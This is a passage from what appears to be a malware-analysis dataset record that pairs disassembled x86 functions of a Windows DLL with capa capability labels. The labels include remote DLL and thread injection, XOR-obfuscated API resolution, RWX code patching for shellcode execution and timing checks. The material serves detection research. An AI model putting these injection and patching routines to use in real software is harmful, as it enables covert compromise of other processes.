joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000bbe0
Capabilities:
Enumerate process modules
Get process image filename

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1594
call fcn.10019820
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x1584]
push eax
push 0x1000
lea ecx, [ebp - 0x1458]
xor edi, edi
push ecx
mov dword [ebp - 0x1584], edi
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
jne 0x1000bc32
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018e16
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0x1584]
shr esi, 2
mov dword [ebp - 0x158c], edi
mov dword [ebp - 0x1588], esi
cmp esi, edi
jle 0x1000bd31
lea eax, [ebp + edi*4 - 0x1458]
mov dword [ebp - 0x1590], eax
mov eax, dword [eax]
test eax, eax
je 0x1000bd22
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x1000bd1b
push 0x104
lea edx, [ebp - 0x250]
push edx
push ebx
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x1000bd1b
lea esi, [ebp - 0x250]
call fcn.10013d80
push eax
lea eax, [ebp - 0x48]
push 0x1001f8c8
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [ebp - 0x458]
push ecx
mov ecx, esi
call fcn.10013ae0
add esp, 0x10
test al, al
je 0x1000bd15
mov edx, dword [ebp - 0x1590]
mov eax, dword [edx]
mov dword [ebp - 0x1580], eax
mov ecx, 8
lea esi, [ebp - 0x48]
lea edi, [ebp - 0x157c]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x458]
push ecx
lea edx, [ebp - 0x155c]
push 0x10020078
push edx
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x1580]
push eax
call fcn.1000d290
mov edi, dword [ebp - 0x158c]
mov esi, dword [ebp - 0x1588]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
mov dword [ebp - 0x158c], edi
cmp edi, esi
jl 0x1000bc4f
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.10018e16
mov esp, ebp
pop ebp
ret
Function at 0x1000d0f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019e98
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [edi + 0x44], 0
je 0x1000d1f8
cmp byte [edi + 0x49], 0
je 0x1000d1f8
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, edi
call edx
cmp eax, 0xffffffff
je 0x1000d1ec
lea esi, [ebp - 0x2c]
call fcn.1000d6d0
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x18]
mov ecx, eax
cmp edx, 0x10
jae 0x1000d163
lea ecx, [ebp - 0x2c]
mov eax, ecx
add ecx, dword [ebp - 0x1c]
lea edx, [ebp - 0x30]
push edx
push ecx
mov ecx, dword [edi + 0x44]
push eax
lea eax, [edi + 0x4c]
push eax
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x1000d18b
dec eax
je 0x1000d18f
sub eax, 2
lea esi, [ebp - 0x2c]
jne 0x1000d1e7
jmp 0x1000d1f3
mov byte [edi + 0x49], 0
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp edx, 0x10
jae 0x1000d19f
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, ecx
je 0x1000d1c9
cmp edx, 0x10
jae 0x1000d1ae
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x1000d1e4
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [edi + 0x49], 0
je 0x1000d1f0
test esi, esi
jne 0x1000d157
push esi
lea ebx, [esi + 8]
lea esi, [ebp - 0x2c]
call fcn.1000d600
jmp 0x1000d151
lea esi, [ebp - 0x2c]
call fcn.1000a6c0
xor al, al
jmp 0x1000d1fa
lea esi, [ebp - 0x2c]
call fcn.1000a6c0
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10018e16
mov esp, ebp
pop ebp
ret
Function at 0x1000d9e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
mov ecx, 0x76f13f0e
lea eax, [ebp - 0x20]
call fcn.1000ed60
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0x14]
push ecx
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ecx, 0x1001fdc8
sub ecx, 0x35b5523b
lea eax, [ebp - 0x34]
call fcn.10009c70
push eax
mov ecx, 0x1001fdd4
sub ecx, 0x477f543b
lea eax, [ebp - 0x24]
call fcn.10009bf0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [0x11282dc8], eax
mov ecx, 0xc6
xor eax, eax
jmp 0x1000da70
mov dl, byte [eax + 0x100201b8]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x34], dl
inc eax
and ecx, 0xff
cmp eax, 0xc
jb 0x1000da70
mov byte [ebp - 0x28], bl
mov ecx, 0xf3
xor eax, eax
mov dl, byte [eax + 0x1001fe08]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x24], dl
inc eax
and ecx, 0xff
cmp eax, 0xc
jb 0x1000da93
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x24]
push ecx
mov byte [ebp - 0x18], bl
call esi
push eax
call edi
mov dword [0x11282dcc], eax
mov ecx, 0x81
xor eax, eax
jmp 0x1000dad0
mov dl, byte [eax + 0x100201c8]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x34], dl
inc eax
and ecx, 0xff
cmp eax, 0xc
jb 0x1000dad0
mov byte [ebp - 0x28], bl
mov ecx, 0xf3
xor eax, eax
mov dl, byte [eax + 0x1001fe08]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x24], dl
inc eax
and ecx, 0xff
cmp eax, 0xc
jb 0x1000daf3
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x24]
push ecx
mov byte [ebp - 0x18], bl
call esi
push eax
call edi
mov edx, dword [0x11282dc8]
mov dword [0x11282dd0], eax
mov dword [0x11282dd4], edx
call fcn.10017fd0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.100184b0
push 0x1000e130
push 0x11282dd4
call fcn.10017a70
call fcn.10018040
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.10018e16
mov esp, ebp
pop ebp
ret
Function at 0x1000db70
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1024
call fcn.10019820
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea ecx, [ebp - 0x1008]
xor ebx, ebx
push ecx
mov dword [ebp - 0x1014], ebx
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
jne 0x1000dbc2
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018e16
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x1014]
shr eax, 2
mov dword [ebp - 0x1010], ebx
mov dword [ebp - 0x100c], eax
cmp eax, ebx
jle 0x1000dcce
mov edi, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x1000dbf0
mov esi, dword [ebp + ebx*4 - 0x1008]
lea ecx, [ebp + ebx*4 - 0x1008]
mov dword [ebp - 0x101c], ecx
test esi, esi
je 0x1000dcbf
push 0x11282dec
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [0x11282e08]
mov eax, dword [edx + 4]
cmp byte [eax + 0x19], 0
mov ecx, edx
jne 0x1000dc3c
cmp dword [eax + 0xc], esi
jae 0x1000dc32
mov eax, dword [eax + 8]
jmp 0x1000dc36
mov ecx, eax
mov eax, dword [eax]
cmp byte [eax + 0x19], 0
je 0x1000dc28
mov dword [ebp - 0x1018], ecx
cmp ecx, edx
je 0x1000dc53
cmp esi, dword [ecx + 0xc]
jb 0x1000dc53
lea eax, [ebp - 0x1018]
jmp 0x1000dc5f
mov dword [ebp - 0x1024], edx
lea eax, [ebp - 0x1024]
mov eax, dword [eax]
push 0x11282dec
cmp eax, edx
je 0x1000dc80
mov edx, dword [eax + 0x10]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x1020], edx
mov dword [ebp - 0x101c], eax
call edi
jmp 0x1000dcb9
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push esi
call fcn.1000e0a0
mov ebx, dword [ebp - 0x101c]
mov esi, dword [ebx]
call fcn.1000dcf0
test al, al
je 0x1000dbaf
mov ebx, dword [ebx]
call fcn.1000b490
test al, al
je 0x1000dbaf
mov ebx, dword [ebp - 0x1010]
mov eax, dword [ebp - 0x100c]
inc ebx
mov dword [ebp - 0x1010], ebx
cmp ebx, eax
jl 0x1000dbf0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.10018e16
mov esp, ebp
pop ebp
ret
Function at 0x1000ddc0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x110c
call fcn.10019820
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x10c]
push eax
push 0x1000
lea ecx, [ebp - 0x110c]
push ecx
xor esi, esi
push ebx
mov dword [ebp - 0x10c], esi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
jne 0x1000de11
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018e16
mov esp, ebp
pop ebp
ret 4
push edi
mov edi, dword [ebp - 0x10c]
shr edi, 2
test edi, edi
jle 0x1000de76
nop
mov eax, dword [ebp + esi*4 - 0x110c]
push 0x104
lea edx, [ebp - 0x108]
push edx
push eax
push ebx
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
test eax, eax
je 0x1000de71
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x108]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1000de68
test dl, dl
je 0x1000de64
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1000de68
add eax, 2
add ecx, 2
test dl, dl
jne 0x1000de48
xor eax, eax
jmp 0x1000de6d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000de8a
inc esi
cmp esi, edi
jl 0x1000de20
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018e16
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.10018e16
mov esp, ebp
pop ebp
ret 4
Function at 0x1000dea0
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
push 4
push 0x1000
mov esi, ecx
push esi
push 0
push ebx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov dword [ebp - 0x1c], edi
test edi, edi
je 0x1000def8
mov ecx, dword [ebp - 0x20]
push 0
push esi
push ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1000df0c
push 0x8000
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018e16
mov esp, ebp
pop ebp
ret 4
push 0x100201d8
mov edi, 0x3b8d18f4
lea esi, [ebp - 0x14]
call fcn.10009d30
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
sete dl
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov byte [ebp - 8], cl
test dl, dl
je 0x1000df6b
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
push 0x8000
push edx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018e16
mov esp, ebp
pop ebp
ret 4
mov esi, dword [ebp - 0x1c]
push 0
push 0
push esi
push eax
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x1000dfa8
mov ecx, dword [ebp - 0x18]
push 0x8000
push ecx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018e16
mov esp, ebp
pop ebp
ret 4
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
test eax, eax
je 0x1000dfda
mov edx, dword [ebp - 0x18]
push edx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018e16
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 0x18]
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.10018e16
mov esp, ebp
pop ebp
ret 4
Function at 0x10010060
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x1012f410]
cmp eax, 0x927c0
jb 0x10010083
call esi
mov dword [0x1012f410], eax
cmp dword [0x1012f3cc], 0
je 0x1001014e
push 0
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 4]
push ecx
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov eax, dword [0x1012f3dc]
mov ecx, dword [0x1012f3e0]
mov esi, eax
cmp eax, ecx
je 0x100100e0
push 0
push ecx
push eax
call dword [sym.imp.MSVCR100.dll_memmove]
add esp, 0xc
mov dword [0x1012f3e0], esi
push 0
mov dword [0x11282ac4], 0xffffffff
call dword [sym.imp.USER32.dll_GetDC]
push 0
push 0x1000fd80
push 0
push eax
call dword [sym.imp.USER32.dll_EnumDisplayMonitors]
test eax, eax
je 0x10010130
mov edx, dword [0x1012f3dc]
cmp edx, dword [0x1012f3e0]
je 0x10010130
push 0x1012f3dc
call fcn.10010160
mov eax, dword [ebp - 4]
add esp, 4
push eax
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
pop esi
mov esp, ebp
pop ebp
ret
push str.SOMETHING_WENT_WRONG._Terrible_sorry...
push 0
mov ecx, 0x10125568
call fcn.1000aff0
mov eax, dword [ebp - 4]
add esp, 8
push eax
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100108e0
Capabilities:
Encode data using xor
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe4
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push str.____________________________________________________________________________________________________
push 0
mov ecx, 0x10125568
call fcn.1000aff0
push 0x94
lea eax, [ebp - 0xe0]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0x14
lea ecx, [ebp - 0xe0]
push ecx
mov dword [ebp - 0xe0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea edx, [ebp - 0x48]
push edx
mov dword [ebp - 0x48], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push 0x100
push 0
push 0x112831a0
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x1001c670]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x112831a0], cl
inc eax
cmp eax, 0x100
jb 0x10010960
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov esi, ecx
mov edx, eax
shrd edx, esi, 0x14
shr esi, 0x14
sub eax, dword [ebp - 0x38]
push edx
sbb ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0xdc]
shrd eax, ecx, 0x14
push eax
mov eax, dword [ebp - 0xd4]
push eax
shr ecx, 0x14
mov ecx, dword [ebp - 0xd8]
push ecx
push edx
push str.1.7.0
push 0x112831a0
push 0
mov ecx, 0x10125568
call fcn.1000aff0
mov ecx, dword [ebp - 4]
add esp, 0x20
xor ecx, ebp
pop esi
call fcn.10018e16
mov esp, ebp
pop ebp
ret
Function at 0x10011370
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea esi, [ebp - 0x408]
call section..text
mov edi, dword [0x11282e18]
mov edx, dword [edi]
cmp edx, edi
je 0x1001141c
lea ecx, [ecx]
mov ecx, dword [edx + 0x14]
mov esi, dword [edx + 0x10]
or eax, 0xffffffff
test ecx, ecx
je 0x100113d1
lea ecx, [ecx]
movzx ebx, byte [esi]
mov edi, eax
and edi, 0xff
xor edi, ebx
shr eax, 8
xor eax, dword [ebp + edi*4 - 0x408]
inc esi
dec ecx
jne 0x100113b0
mov edi, dword [0x11282e18]
not eax
cmp dword [edx + 0x18], eax
jne 0x1001142f
cmp byte [edx + 0x1d], 0
jne 0x10011418
mov eax, dword [edx + 8]
cmp byte [eax + 0x1d], 0
jne 0x100113fd
mov edx, eax
mov eax, dword [edx]
cmp byte [eax + 0x1d], 0
jne 0x10011418
mov edx, eax
mov eax, dword [edx]
cmp byte [eax + 0x1d], 0
je 0x100113f1
jmp 0x10011418
mov eax, dword [edx + 4]
cmp byte [eax + 0x1d], 0
jne 0x10011416
cmp edx, dword [eax + 8]
jne 0x10011416
mov edx, eax
mov eax, dword [eax + 4]
cmp byte [eax + 0x1d], 0
je 0x10011406
mov edx, eax
cmp edx, edi
jne 0x100113a0
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018e16
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor al, al
pop ebx
call fcn.10018e16
mov esp, ebp
pop ebp
ret
Function at 0x100127f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
mov eax, dword [0x10025018]
xor eax, esp
mov dword [esp + 0x8c], eax
cmp dword [esi + 0x18], 0
mov eax, dword [ebp + 8]
push ebx
push edi
mov dword [esp + 0xc], eax
je 0x10012967
lea ecx, [esp + 0x50]
push ecx
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
lea edx, [esp + 0x40]
mov edi, eax
mov eax, dword [esi + 4]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov ecx, dword [esi + 0x18]
mov ebx, eax
push ecx
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
mov edx, dword [esi + 0x14]
push 0xcc0020
push 0
push 0
push ebx
push edx
mov dword [esp + 0x24], eax
mov eax, dword [esi + 0x10]
push eax
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
mov ecx, dword [esp + 0x10]
push ecx
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
push ebx
call dword [sym.imp.GDI32.dll_DeleteDC]
cmp byte [esi + 0x20], 1
jne 0x10012957
push str.Segoe_UI
push 2
push 5
push 0
push 8
push 1
push 0
push 0
push 0
push 0x12c
push 0
push 0
push 0
push 0xe
call dword [sym.imp.GDI32.dll_CreateFontA]
push eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 1
push edi
call dword [sym.imp.GDI32.dll_SetBkMode]
mov edx, dword [esi + 0x120]
push edx
push edi
call dword [sym.imp.GDI32.dll_SetTextColor]
lea ebx, [esi + 0x21]
mov eax, ebx
lea ecx, [eax + 1]
jmp 0x100128e0
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100128e0
sub eax, ecx
push eax
mov eax, dword [esi + 0x14]
push ebx
sub eax, 0x25
push eax
push 0x12
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov ecx, 0x3e
xor eax, eax
mov dl, byte [eax + str.P03__1fuxyk]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x14], dl
inc eax
and ecx, 0xff
cmp eax, 0x29
jb 0x10012902
lea eax, [esp + 0x14]
push eax
push ebx
mov byte [esp + 0x45], 0
call dword [sym.imp.MSVCR100.dll_sprintf]
mov eax, ebx
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012934
mov ecx, dword [esi + 0x14]
sub eax, edx
mov edx, dword [esi + 0x10]
push eax
push ebx
sub ecx, 0xf
push ecx
sub edx, 0xdc
push edx
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x50]
push eax
push ecx
call dword [sym.imp.USER32.dll_EndPaint]
mov ecx, dword [esp + 0x94]
pop edi
pop ebx
xor ecx, esp
call fcn.10018e16
mov esp, ebp
pop ebp
ret 4
Function at 0x10012980
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [eax + 4], edx
mov dword [eax + 0x1c], str.SPLASH
mov dword [eax + 0xc], edx
mov ecx, 0xc2
xor eax, eax
push ebx
lea ebx, [ebx]
mov bl, byte [eax + 0x100204dc]
xor bl, cl
inc ecx
mov byte [ebp + eax - 0x20], bl
inc eax
and ecx, 0xff
cmp eax, 0x1a
jb 0x100129b0
lea eax, [ebp - 0x20]
push eax
mov ecx, str.lin
sub ecx, 0x702b1031
lea eax, [ebp - 0x2c]
mov byte [ebp - 6], dl
call fcn.10012db0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [0x11282ae4], eax
pop ebx
call fcn.10018e16
mov esp, ebp
pop ebp
ret 4
Function at 0x10012fd0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019d48
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x11282e30], 0
je 0x10013072
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x11282e34]
cmp eax, 0x1388
jbe 0x10013072
push 0x11282e68
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
test eax, eax
je 0x10013072
call esi
mov dword [0x11282e34], eax
test eax, eax
je 0x10013067
call fcn.10012f10
test al, al
jne 0x10013067
mov edi, 0x1001fbb4
sub edi, 0x79ddc0fb
lea esi, [ebp - 0x30]
call fcn.10009a60
push eax
push 2
mov eax, 0x1012f668
mov dword [ebp - 4], 0
call fcn.10013e70
add esp, 8
jmp 0x10013072
push 0x11282e68
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10018e16
mov esp, ebp
pop ebp
ret

Function at 0x10013aa0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push esi
call edi
mov eax, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
push eax
mov ecx, 0x10004ee0
sub ecx, esi
push 5
sub ecx, 5
push esi
mov byte [esi], 0xe8
mov dword [esi + 1], ecx
call edi
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10013ae0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001a016
mov eax, dword fs:[0]
push eax
sub esp, 0x654
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dx, word [0x10020528]
mov dword [ebp - 0x65c], eax
lea eax, [ebp - 0x620]
mov esi, ecx
mov ecx, dword [0x10020524]
push eax
push 0x3ff
mov dword [ebp - 0x660], esi
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x14], dx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x10013d08
lea ebx, [ebp - 0x620]
xor edi, edi
jmp 0x10013b60
mov cx, word [ebx]
push 0x104
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x18]
push eax
mov word [ebp - 0x18], cx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x10013c16
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x628], 7
mov dword [ebp - 0x62c], edi
mov word [ebp - 0x63c], cx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x10013ba3
sub eax, edx
sar eax, 1
push eax
mov eax, esi
lea ecx, [ebp - 0x63c]
call fcn.10016aa0
lea eax, [ebp - 0x220]
mov dword [ebp - 4], edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x10013bd0
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x63c]
push eax
call fcn.10015e10
mov esi, eax
cmp esi, 0xffffffff
jne 0x10013c35
mov dword [ebp - 4], eax
cmp dword [ebp - 0x628], 8
jb 0x10013c16
mov ecx, dword [ebp - 0x63c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dx, word [ebx]
add ebx, 2
test dx, dx
jne 0x10013c16
cmp word [ebx], di
je 0x10013d08
mov esi, dword [ebp - 0x660]
jmp 0x10013b60
xor eax, eax
mov word [ebp - 0x658], ax
lea eax, [ebp - 0x220]
mov dword [ebp - 0x644], 7
mov dword [ebp - 0x648], edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x10013c57
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x220]
lea ecx, [ebp - 0x658]
call fcn.10016aa0
mov eax, ebx
mov byte [ebp - 4], 1
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x10013c81
sub eax, edx
sar eax, 1
push eax
mov eax, dword [ebp - 0x648]
push ebx
inc eax
push esi
lea ecx, [ebp - 0x63c]
call fcn.10015c80
mov esi, 8
cmp dword [ebp - 0x644], esi
jb 0x10013cc2
mov ecx, dword [ebp - 0x658]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [ebp - 0x63c]
cmp dword [ebp - 0x628], esi
jae 0x10013cd6
lea eax, [ebp - 0x63c]
mov edx, dword [ebp - 0x65c]
push eax
push 0x104
push edx
call dword [sym.imp.MSVCR100.dll_wcscpy_s]
add esp, 0xc
cmp dword [ebp - 0x628], esi
jb 0x10013d04
mov eax, dword [ebp - 0x63c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov al, 1
jmp 0x10013d0a
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
